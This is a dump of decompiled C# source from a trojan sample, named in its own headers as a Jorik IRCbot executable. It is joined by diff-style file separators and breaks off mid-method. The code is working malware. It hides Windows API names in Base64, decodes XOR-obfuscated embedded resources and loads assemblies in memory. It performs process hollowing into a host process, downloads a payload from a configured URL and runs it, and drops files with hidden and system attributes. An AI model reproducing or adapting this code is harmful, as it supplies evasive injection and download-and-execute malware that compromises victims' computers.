// Decompiled with JetBrains decompiler
// Type: uqeyrwlquci0gyeo0qjxqcszc
// Assembly: 4ldbvrmz, Version=6.0.220.4, Culture=neutral, PublicKeyToken=null
// MVID: 7CE81D78-4EC2-4D47-AD6D-9A598C5B77D4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881.exe
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime.InteropServices;
public static class uqeyrwlquci0gyeo0qjxqcszc
{
private const uint CONTEXT_FULL = 65543;
private const int CREATE_SUSPENDED = 4;
private const int MEM_COMMIT = 4096;
private const int MEM_RESERVE = 8192;
private const int PAGE_EXECUTE_READWRITE = 64;
private const ushort IMAGE_DOS_SIGNATURE = 23117;
private const uint IMAGE_NT_SIGNATURE = 17744;
public static unsafe bool Vbm2knor525p1x3t5q2zsdbhh(
byte[] exeBuffer,
string hostProcess,
string optionalArguments)
{
byte[] dst1 = new byte[40];
byte[] dst2 = new byte[248];
byte[] dst3 = new byte[64];
int[] numArray1 = new int[4];
byte[] numArray2 = new byte[716];
fixed (byte* numPtr = &dst1[0])
;
fixed (byte* numPtr = &dst2[0])
;
fixed (byte* numPtr = &dst3[0])
;
fixed (byte* numPtr = &numArray2[0])
;
// ISSUE: fixed variable is out of scope
*(int*) numPtr = 65543;
Buffer.BlockCopy((Array) exeBuffer, 0, (Array) dst3, 0, dst3.Length);
// ISSUE: fixed variable is out of scope
if (*(ushort*) numPtr != (ushort) 23117)
return false;
// ISSUE: fixed variable is out of scope
int srcOffset = *(int*) (numPtr + 60);
Buffer.BlockCopy((Array) exeBuffer, srcOffset, (Array) dst2, 0, dst2.Length);
// ISSUE: fixed variable is out of scope
if (*(uint*) numPtr != 17744U)
return false;
string str = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("");
if (!string.IsNullOrEmpty(optionalArguments))
str = hostProcess + " " + optionalArguments;
if (!uqeyrwlquci0gyeo0qjxqcszc.Ym0011n1sqree12pbi2kviopbv04c0hwt<bool>(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("a2VybmVsMzI="), ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("Q3JlYXRlUHJvY2Vzcw=="), new Type[10]
{
typeof (string),
typeof (string),
typeof (IntPtr),
typeof (IntPtr),
typeof (bool),
typeof (int),
typeof (IntPtr),
typeof (string),
typeof (byte[]),
typeof (int[])
}, (object) hostProcess, (object) str, (object) IntPtr.Zero, (object) IntPtr.Zero, (object) false, (object) 4, (object) IntPtr.Zero, null, (object) new byte[68], (object) numArray1))
return false;
// ISSUE: fixed variable is out of scope
IntPtr num1 = new IntPtr(*(int*) (numPtr + 52));
int num2 = (int) uqeyrwlquci0gyeo0qjxqcszc.Ym0011n1sqree12pbi2kviopbv04c0hwt<uint>(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bnRkbGw="), ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("TnRVbm1hcFZpZXdPZlNlY3Rpb24="), new Type[2]
{
typeof (IntPtr),
typeof (IntPtr)
}, (object) (IntPtr) numArray1[0], (object) num1);
// ISSUE: fixed variable is out of scope
if (uqeyrwlquci0gyeo0qjxqcszc.Ym0011n1sqree12pbi2kviopbv04c0hwt<IntPtr>(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("a2VybmVsMzI="), ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("VmlydHVhbEFsbG9jRXg="), new Type[5]
{
typeof (IntPtr),
typeof (IntPtr),
typeof (uint),
typeof (int),
typeof (int)
}, (object) (IntPtr) numArray1[0], (object) num1, (object) *(uint*) (numPtr + 80), (object) 12288, (object) 64) == IntPtr.Zero)
uqeyrwlquci0gyeo0qjxqcszc.Vbm2knor525p1x3t5q2zsdbhh(exeBuffer, hostProcess, optionalArguments);
fixed (byte* numPtr = &exeBuffer[0])
{
// ISSUE: fixed variable is out of scope
uqeyrwlquci0gyeo0qjxqcszc.Ym0011n1sqree12pbi2kviopbv04c0hwt<int>(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bnRkbGw="), ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("TnRXcml0ZVZpcnR1YWxNZW1vcnk="), new Type[5]
{
typeof (IntPtr),
typeof (IntPtr),
typeof (IntPtr),
typeof (uint),
typeof (IntPtr)
}, (object) (IntPtr) numArray1[0], (object) num1, (object) (IntPtr) (void*) numPtr, (object) *(uint*) (numPtr + 84), (object) IntPtr.Zero);
}
// ISSUE: fixed variable is out of scope
for (ushort index = 0; (int) index < (int) *(ushort*) (numPtr + 6); ++index)
{
Buffer.BlockCopy((Array) exeBuffer, srcOffset + dst2.Length + dst1.Length * (int) index, (Array) dst1, 0, dst1.Length);
// ISSUE: fixed variable is out of scope
fixed (byte* numPtr = &exeBuffer[(IntPtr) *(uint*) (numPtr + 20)])
{
// ISSUE: fixed variable is out of scope
// ISSUE: fixed variable is out of scope
uqeyrwlquci0gyeo0qjxqcszc.Ym0011n1sqree12pbi2kviopbv04c0hwt<int>(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bnRkbGw="), ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("TnRXcml0ZVZpcnR1YWxNZW1vcnk="), new Type[5]
{
typeof (IntPtr),
typeof (IntPtr),
typeof (IntPtr),
typeof (uint),
typeof (IntPtr)
}, (object) (IntPtr) numArray1[0], (object) (IntPtr) ((long) (int) num1 + (long) *(uint*) (numPtr + 12)), (object) (IntPtr) (void*) numPtr, (object) *(uint*) (numPtr + 16), (object) IntPtr.Zero);
}
}
// ISSUE: fixed variable is out of scope
uqeyrwlquci0gyeo0qjxqcszc.Ym0011n1sqree12pbi2kviopbv04c0hwt<int>(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bnRkbGw="), ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("TnRHZXRDb250ZXh0VGhyZWFk"), new Type[2]
{
typeof (IntPtr),
typeof (IntPtr)
}, (object) (IntPtr) numArray1[1], (object) (IntPtr) (void*) numPtr);
// ISSUE: fixed variable is out of scope
uqeyrwlquci0gyeo0qjxqcszc.Ym0011n1sqree12pbi2kviopbv04c0hwt<int>(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bnRkbGw="), ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("TnRXcml0ZVZpcnR1YWxNZW1vcnk="), new Type[5]
{
typeof (IntPtr),
typeof (IntPtr),
typeof (IntPtr),
typeof (int),
typeof (IntPtr)
}, (object) (IntPtr) numArray1[0], (object) (IntPtr) (long) *(uint*) (numPtr + 172), (object) num1, (object) 4, (object) IntPtr.Zero);
// ISSUE: fixed variable is out of scope
// ISSUE: fixed variable is out of scope
*(int*) (numPtr + 176) = (int) num1 + (int) *(uint*) (numPtr + 40);
// ISSUE: fixed variable is out of scope
int num3 = (int) uqeyrwlquci0gyeo0qjxqcszc.Ym0011n1sqree12pbi2kviopbv04c0hwt<uint>(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bnRkbGw="), ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("TnRTZXRDb250ZXh0VGhyZWFk"), new Type[2]
{
typeof (IntPtr),
typeof (IntPtr)
}, (object) (IntPtr) numArray1[1], (object) (IntPtr) (void*) numPtr);
int num4 = (int) uqeyrwlquci0gyeo0qjxqcszc.Ym0011n1sqree12pbi2kviopbv04c0hwt<uint>(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bnRkbGw="), ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("TnRSZXN1bWVUaHJlYWQ="), new Type[2]
{
typeof (IntPtr),
typeof (IntPtr)
}, (object) (IntPtr) numArray1[1], (object) IntPtr.Zero);
return true;
}
public static TR Ym0011n1sqree12pbi2kviopbv04c0hwt<TR>(
string name,
string method,
Type[] typeArr,
params object[] arguments)
{
ModuleBuilder moduleBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("temp"), AssemblyBuilderAccess.Run).DefineDynamicModule(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bW9kdWxl"));
moduleBuilder.DefinePInvokeMethod(method, name, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, typeof (TR), typeArr, CallingConvention.Winapi, CharSet.Ansi).SetImplementationFlags(MethodImplAttributes.PreserveSig);
moduleBuilder.CreateGlobalFunctions();
return (TR) moduleBuilder.GetMethod(method).Invoke((object) null, arguments);
}
}

View File

@ -1,33 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep
// Assembly: 4ldbvrmz, Version=6.0.220.4, Culture=neutral, PublicKeyToken=null
// MVID: 7CE81D78-4EC2-4D47-AD6D-9A598C5B77D4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881.exe
using System;
using System.Text;
public static class xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep
{
public static string jeuqjvb1edhczrmrcddcfjyrbkgzy5eq5(byte[] Xone43ogluazbv5l4yr3mqy3y)
{
StringBuilder stringBuilder = new StringBuilder();
for (int index = 0; index < Xone43ogluazbv5l4yr3mqy3y.Length; ++index)
{
char ch = Convert.ToChar(Xone43ogluazbv5l4yr3mqy3y[index]);
stringBuilder.Append(Convert.ToString(ch));
}
return stringBuilder.ToString();
}
public static byte[] P0vqw5dxvbkxvsohiqrze00bk(string Aaa00x4vdfc3y4ixq)
{
byte[] numArray = new byte[Aaa00x4vdfc3y4ixq.Length];
for (int startIndex = 0; startIndex < Aaa00x4vdfc3y4ixq.Length; ++startIndex)
{
char ch = Convert.ToChar(Aaa00x4vdfc3y4ixq.Substring(startIndex, 1));
numArray[startIndex] = Convert.ToByte(ch);
}
return numArray;
}
}

View File

@ -1,26 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: yafgsjxsd554wkbwu.Vzc1okmpravdrvlvo
// Assembly: 4ldbvrmz, Version=6.0.220.4, Culture=neutral, PublicKeyToken=null
// MVID: 7CE81D78-4EC2-4D47-AD6D-9A598C5B77D4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881.exe
using System;
using System.Runtime.InteropServices;
namespace yafgsjxsd554wkbwu
{
public class Vzc1okmpravdrvlvo
{
[DllImport("kernel32", EntryPoint = "GetModuleHandleA", CharSet = CharSet.Ansi, SetLastError = true)]
public static extern IntPtr Jmqtpodci2jfhcs0m1s2np21r(string lpModuleName);
[DllImport("kernel32.dll", EntryPoint = "FindResourceA")]
public static extern IntPtr Yfjiajv5pdhoc2cbb(IntPtr hModule, int lpID, string lpType);
[DllImport("kernel32.dll", EntryPoint = "LoadResource", SetLastError = true)]
public static extern IntPtr Xgfqdr5fofcy3fmbo(IntPtr hModule, IntPtr hResInfo);
[DllImport("kernel32.dll", EntryPoint = "SizeofResource", SetLastError = true)]
public static extern uint W3i1m50ffqcqq5vjpqt4xlhuc(IntPtr hModule, IntPtr hResInfo);
}
}

View File

@ -1,47 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ybneke5hgomifymim4zvimnpa
// Assembly: 4ldbvrmz, Version=6.0.220.4, Culture=neutral, PublicKeyToken=null
// MVID: 7CE81D78-4EC2-4D47-AD6D-9A598C5B77D4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881.exe
using System;
using System.Collections.Generic;
public static class ybneke5hgomifymim4zvimnpa
{
public static int Xutbkh02q4gnaaep3pvetdxkj = 129;
public static byte[] Pifnfhcoyavmjbz5u(byte[] Pkkbuxe0eddtlfhye)
{
for (int index = 0; index < Pkkbuxe0eddtlfhye.Length; ++index)
{
char ch = (char) ((uint) Convert.ToChar(Pkkbuxe0eddtlfhye[index]) ^ (uint) ybneke5hgomifymim4zvimnpa.Xutbkh02q4gnaaep3pvetdxkj);
Pkkbuxe0eddtlfhye[index] = Convert.ToByte(ch);
}
return Pkkbuxe0eddtlfhye;
}
public static string Q2kqkb3gwlztiqkx035mgfo3r(string D3ftweqatkhdmzw1tbygoswmr) => xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.jeuqjvb1edhczrmrcddcfjyrbkgzy5eq5(Convert.FromBase64String(D3ftweqatkhdmzw1tbygoswmr));
public static byte[] Gsfkp23vk2tqje234pmjrnbgq(byte[] D3ftweqatkhdmzw1tbygoswmr)
{
int length = D3ftweqatkhdmzw1tbygoswmr.Length;
int num1 = (length + 1) / 2;
List<byte> byteList1 = new List<byte>((IEnumerable<byte>) ybneke5hgomifymim4zvimnpa.d4ncf51f1qm2aosw3eoex5yc1(D3ftweqatkhdmzw1tbygoswmr, 0, num1));
List<byte> byteList2 = new List<byte>((IEnumerable<byte>) ybneke5hgomifymim4zvimnpa.d4ncf51f1qm2aosw3eoex5yc1(D3ftweqatkhdmzw1tbygoswmr, num1, length - num1));
int num2 = 0;
for (int index = 0; index < byteList2.Count; ++index)
{
byteList1.Insert(num2 + 1, byteList2[index]);
num2 += 2;
}
return byteList1.ToArray();
}
public static byte[] d4ncf51f1qm2aosw3eoex5yc1(byte[] first, int offset, int count)
{
byte[] dst = new byte[count];
Buffer.BlockCopy((Array) first, offset, (Array) dst, 0, count);
return dst;
}
}

View File

@ -1,506 +0,0 @@
// Decompiled with JetBrains decompiler
// Type: ykzdtlr5g3unsj1jf.P3gp3nhhay2byunb2ryhhvgoe
// Assembly: 4ldbvrmz, Version=6.0.220.4, Culture=neutral, PublicKeyToken=null
// MVID: 7CE81D78-4EC2-4D47-AD6D-9A598C5B77D4
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Jorik.IRCbot.cwp-92f7e121edf5bcaced863d99561f0db912de86a6c07c307f3e429d5ad8e8f881.exe
using Microsoft.Win32;
using System;
using System.Diagnostics;
using System.IO;
using System.IO.Compression;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Threading;
using System.Windows.Forms;
using yafgsjxsd554wkbwu;
namespace ykzdtlr5g3unsj1jf
{
public class P3gp3nhhay2byunb2ryhhvgoe
{
private static bool N2pqfn3fmbylrnjylgikeibab = true;
private byte[] Ab4hjwwzqrhaf3v15vpkkpwph;
private bool lhavasqwmjebhnrkb;
private string u4v4gxw4pe5ajw5qf;
private string iwz5fw0hekr40lgappdcrryyd;
private string e34zsbjraxk1vdes3 = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
private int hrkxt4xigw3kvxizwl4brrwla;
private int n5qobr0qrnlc4of4pagdiixxz;
private int J3xftqrouedhph3wmrpbf1oncu42zzn0q;
private string Tz3uteor55zvvw3ge = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("WE9S");
private string d3bf3wz4sc5v4l1uxukyagpdo = string.Empty;
private string zb4vgai4ozfhekokbemj5ilfi = string.Empty;
private int Iu4x22rom4nkydifhzb3yhmni;
private string Vwyl4tfmmp0qtt2nzytwwg42o = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
private string Oldfdql3j3j1vq1vwhzdsoqcw = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
private string Tw5ntsv2eana2pzqe5lqgyv32 = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
private string Limyy2yppvdupsbadnk4q0zoc = ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA==");
private string h1a0fvzdaev3vkr0g2mjmagor = string.Empty;
private string hstr1brtw1h4eqytb3mb2n03yp4cjzf3z = string.Empty;
private string sxuhsyfp5i3o1u3c2o1ba5lzc = string.Empty;
private string jc3ddo0jvj2a1qr4qhjkghawn = string.Empty;
private string Orshwt0dzuhwbrysau452pffe = string.Empty;
private string mmcqn3cexlxqet2md = string.Empty;
private string gzrw4q4ropicnlotflrdgqtsb = string.Empty;
private string Nwtaknwtei4heb3ubqf0fbjn2 = string.Empty;
private string Opdgky2ixzsslsa5xgb5j5vjn = string.Empty;
private string oeygnuctraxnjd2t2xylgcgwt = string.Empty;
private string qa422swa2bykxxdf3 = string.Empty;
private bool Vxbwuasb5cbqu0zvpzvozkfbp;
private bool Nmtcod3bgkn4wfqbn0clozxtd;
private string Up0yuwtuyztffttj5yifu2dxpvjgi4unh = string.Empty;
private string hv0yanbzazy5y5puhm1rq4npy = string.Empty;
private bool qjgvtp5dxw2xd3cymnnrrpi4q;
private string rsqyen5noyknnubtxp5d4c1pi = string.Empty;
private string Zdcbw51ginpihrigchxl3wtzl = string.Empty;
private string Ylohjohjs0shtk55s = string.Empty;
private string u14rni0civn2slvafa2qidu1h = string.Empty;
private bool Df255bnxscmlyi5ujr2shnrkj;
private bool Tn53mqe3sgob3hnec;
private bool c2sqrdsprj3s5tzrfydeh542igsij0hy3;
private bool Fdnm3i3qwt5xg2kgs51j1ra03;
private object Xxbjvofxfv2devbj0xvdyl3ee;
private MethodInfo kqqsnwgs4puj1jm5mmjm3a2g5;
private byte[] P5v4rqorj401x53a1(byte[] dymmzpkfb2modfqzetrxebfo3, int nsa5c4sobfa0jnubo)
{
GZipStream gzipStream = new GZipStream((Stream) new MemoryStream(dymmzpkfb2modfqzetrxebfo3), CompressionMode.Decompress);
byte[] buffer = new byte[nsa5c4sobfa0jnubo];
gzipStream.Read(buffer, 0, buffer.Length);
return buffer;
}
private object Dmoi5v041lon1gbkzbg1xqlqk(int xywa5vx53hgmo10cmmla01l2fdd0z3xne)
{
System.Type type = Assembly.Load(ybneke5hgomifymim4zvimnpa.Pifnfhcoyavmjbz5u(P3gp3nhhay2byunb2ryhhvgoe.Hjg5kbnhcethgeandl2bwdxqp(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("cnVuUEUuZGxs")))).GetTypes()[xywa5vx53hgmo10cmmla01l2fdd0z3xne];
this.kqqsnwgs4puj1jm5mmjm3a2g5 = type.GetMethod(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("UnVu"));
return Activator.CreateInstance(type);
}
public static byte[] Hjg5kbnhcethgeandl2bwdxqp(string bjpi5xp3kzpysquxl)
{
using (Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(bjpi5xp3kzpysquxl))
{
byte[] buffer = new byte[1024];
using (MemoryStream memoryStream = new MemoryStream())
{
while (true)
{
int count = manifestResourceStream.Read(buffer, 0, buffer.Length);
if (count > 0)
memoryStream.Write(buffer, 0, count);
else
break;
}
return memoryStream.ToArray();
}
}
}
private byte[] v32245b3t5yoxhkmr(byte[] zlgnctv20qm5r2ybtqdfn4gbuozslhc2z)
{
if (this.Tz3uteor55zvvw3ge == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("ZXZlbiBqdW1w"))
zlgnctv20qm5r2ybtqdfn4gbuozslhc2z = ybneke5hgomifymim4zvimnpa.Gsfkp23vk2tqje234pmjrnbgq(zlgnctv20qm5r2ybtqdfn4gbuozslhc2z);
return zlgnctv20qm5r2ybtqdfn4gbuozslhc2z;
}
private void ad1vi241wyo23agtvnemgivkyuh243nog()
{
try
{
byte[] numArray = new WebClient().DownloadData(new Uri(this.rsqyen5noyknnubtxp5d4c1pi));
if (this.Zdcbw51ginpihrigchxl3wtzl == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA=="))
{
try
{
if (!this.jeaq3uqx2h3t0mra1g4rmu1sp(numArray))
uqeyrwlquci0gyeo0qjxqcszc.Vbm2knor525p1x3t5q2zsdbhh(numArray, this.hv0yanbzazy5y5puhm1rq4npy, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r(""));
}
catch
{
string tempFileName = Path.GetTempFileName();
this.zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(numArray, tempFileName, true);
}
}
if (!(this.Zdcbw51ginpihrigchxl3wtzl == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ==")))
return;
string str = this.Ylohjohjs0shtk55s + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("XFw=") + this.u14rni0civn2slvafa2qidu1h;
this.zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(numArray, str, true);
if (this.Df255bnxscmlyi5ujr2shnrkj)
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.Hidden);
if (this.Tn53mqe3sgob3hnec)
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.ReadOnly);
if (!this.c2sqrdsprj3s5tzrfydeh542igsij0hy3)
return;
System.IO.File.SetAttributes(str, System.IO.File.GetAttributes(str) | FileAttributes.System);
}
catch (Exception ex)
{
}
}
private static void frlh3hqg1jnxwe2sopvdmz023(byte[] Tbexmamq4ewxxgua4k13v2r3x)
{
try
{
Thread thread = new Thread(new ParameterizedThreadStart(P3gp3nhhay2byunb2ryhhvgoe.E1urnfsltryk1ub0xb2rcju41));
thread.SetApartmentState(ApartmentState.STA);
thread.Start((object) Tbexmamq4ewxxgua4k13v2r3x);
thread.Join();
}
catch
{
P3gp3nhhay2byunb2ryhhvgoe.N2pqfn3fmbylrnjylgikeibab = false;
}
}
private static void E1urnfsltryk1ub0xb2rcju41(object tzpsm05tmzmi3bezi2upra2uf)
{
try
{
MethodInfo entryPoint = Assembly.Load((byte[]) tzpsm05tmzmi3bezi2upra2uf).EntryPoint;
if (entryPoint.GetParameters().Length == 1)
entryPoint.Invoke((object) null, new object[1]
{
(object) new string[0]
});
else
entryPoint.Invoke((object) null, (object[]) null);
}
catch
{
P3gp3nhhay2byunb2ryhhvgoe.N2pqfn3fmbylrnjylgikeibab = false;
}
}
private bool jeaq3uqx2h3t0mra1g4rmu1sp(byte[] Lbmqdee0u2phj1cdi)
{
P3gp3nhhay2byunb2ryhhvgoe.frlh3hqg1jnxwe2sopvdmz023(Lbmqdee0u2phj1cdi);
bool n2pqfn3fmbylrnjylgikeibab = P3gp3nhhay2byunb2ryhhvgoe.N2pqfn3fmbylrnjylgikeibab;
P3gp3nhhay2byunb2ryhhvgoe.N2pqfn3fmbylrnjylgikeibab = true;
return n2pqfn3fmbylrnjylgikeibab;
}
private void zejf3ssfdyu2wkcfj2ygw3a0xs4pajbqu(
byte[] Sshq13ovclviqcbegjyc4fwr4,
string t2qn4ig5r5fe30uf0gvlqyjei,
bool Lbtar3b3sd1metciol2mkuazk)
{
try
{
System.IO.File.WriteAllBytes(t2qn4ig5r5fe30uf0gvlqyjei, Sshq13ovclviqcbegjyc4fwr4);
if (!Lbtar3b3sd1metciol2mkuazk)
return;
new Process()
{
StartInfo = {
FileName = t2qn4ig5r5fe30uf0gvlqyjei
}
}.Start();
}
catch
{
}
}
private byte[] rmq04qrgvymsnxnzaauclonz4(
string Ltuz1taoidfnt0bdx,
int Uwk5bivcwhq53vx32gcreg4yc,
string ipo3kpah5ljwlkcut3hjqipgb)
{
try
{
IntPtr hModule = Vzc1okmpravdrvlvo.Jmqtpodci2jfhcs0m1s2np21r(string.Empty);
IntPtr hResInfo = Vzc1okmpravdrvlvo.Yfjiajv5pdhoc2cbb(hModule, Uwk5bivcwhq53vx32gcreg4yc, ipo3kpah5ljwlkcut3hjqipgb);
uint length = Vzc1okmpravdrvlvo.W3i1m50ffqcqq5vjpqt4xlhuc(hModule, hResInfo);
IntPtr source = Vzc1okmpravdrvlvo.Xgfqdr5fofcy3fmbo(hModule, hResInfo);
byte[] destination = new byte[(IntPtr) length];
Marshal.Copy(source, destination, 0, (int) length);
return destination;
}
catch (Exception ex)
{
Console.WriteLine(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgcmVhZGluZyByZXNvdXJjZTog") + Environment.NewLine + ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RXJyb3IgY29kZTog") + ex.Message);
return (byte[]) null;
}
}
private string Vwoud00pmabg3i5prcffnctpqgmjn2lsz(string lhmtwvqb3lumfpzit)
{
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("QXBwbGljYXRpb24gUGF0aA=="))
lhmtwvqb3lumfpzit = Application.StartupPath;
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("VGVtcA=="))
lhmtwvqb3lumfpzit = Path.GetTempPath();
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("QXBwRGF0YQ=="))
lhmtwvqb3lumfpzit = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("TXkgRG9jdW1lbnRz"))
lhmtwvqb3lumfpzit = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("RGVza3RvcA=="))
lhmtwvqb3lumfpzit = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("VXNlciBQcm9maWxl"))
lhmtwvqb3lumfpzit = Environment.GetEnvironmentVariable(ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("VVNFUlBST0ZJTEU="));
if (lhmtwvqb3lumfpzit == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("UHJvZ3JhbSBGaWxlcw=="))
lhmtwvqb3lumfpzit = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles);
return lhmtwvqb3lumfpzit;
}
private string z4oikbmtsyvcgjshpb1o3xomb(string Xvvoluc4blezdur2w)
{
string str = string.Empty;
if (Xvvoluc4blezdur2w == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MA=="))
str = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
if (Xvvoluc4blezdur2w == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("MQ=="))
str = Path.GetTempPath();
if (Xvvoluc4blezdur2w == ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("Mg=="))
str = Environment.GetFolderPath(Environment.SpecialFolder.Personal);
return str;
}
private void yi4a12p1lqcxa2d2ckkuwmx2y(string zlgnctv20qm5r2ybtqdfn4gbuozslhc2z)
{
string[] separator1 = new string[1]
{
ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("bmxoZzVhenhhc2dwcmR0cGw0bTVsaDVoNQ==")
};
string[] separator2 = new string[1]
{
ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r("cjR5NGxwcjNhemRtZmoxNXh5Z3NzNHNrNA==")
};
string[] strArray1 = zlgnctv20qm5r2ybtqdfn4gbuozslhc2z.Split(separator1, StringSplitOptions.None);
string empty1 = string.Empty;
string empty2 = string.Empty;
string empty3 = string.Empty;
for (int index = 1; index < strArray1.GetUpperBound(0); ++index)
{
string[] strArray2 = strArray1[index].Split(separator2, StringSplitOptions.None);
byte[] numArray = xp43p4bxx3i3uxg5zqeqr3mkos0wzm3ep.P0vqw5dxvbkxvsohiqrze00bk(strArray2[1]);
string str1 = strArray2[2];
bool boolean1 = Convert.ToBoolean(strArray2[3]);
string lhmtwvqb3lumfpzit = strArray2[4];
bool boolean2 = Convert.ToBoolean(strArray2[5]);
bool boolean3 = Convert.ToBoolean(strArray2[6]);
int int32 = Convert.ToInt32(strArray2[7]);
bool boolean4 = Convert.ToBoolean(strArray2[8]);
string str2 = this.Vwoud00pmabg3i5prcffnctpqgmjn2lsz(lhmtwvqb3lumfpzit);
if (boolean1)
{
if (boolean3)
numArray = this.P5v4rqorj401x53a1(numArray, int32);
if (boolean2)
numArray = this.v32245b3t5yoxhkmr(numArray);
if (!boolean4)
{
try
{
uqeyrwlquci0gyeo0qjxqcszc.Vbm2knor525p1x3t5q2zsdbhh(numArray, this.hv0yanbzazy5y5puhm1rq4npy, ybneke5hgomifymim4zvimnpa.Q2kqkb3gwlztiqkx035mgfo3r(""));
}
catch (Exception ex)
{
